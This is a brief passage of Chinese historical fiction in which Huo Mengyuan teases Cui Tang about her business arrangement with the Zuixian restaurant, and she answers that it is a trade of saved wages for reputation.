“崔小娘子真会打算盘。”霍孟元突然朗声笑起来,“这般听着,倒像醉仙楼替你招待贵客?” “互惠罢了。您省了厨子工钱,我得了薄名——”崔棠笑起来。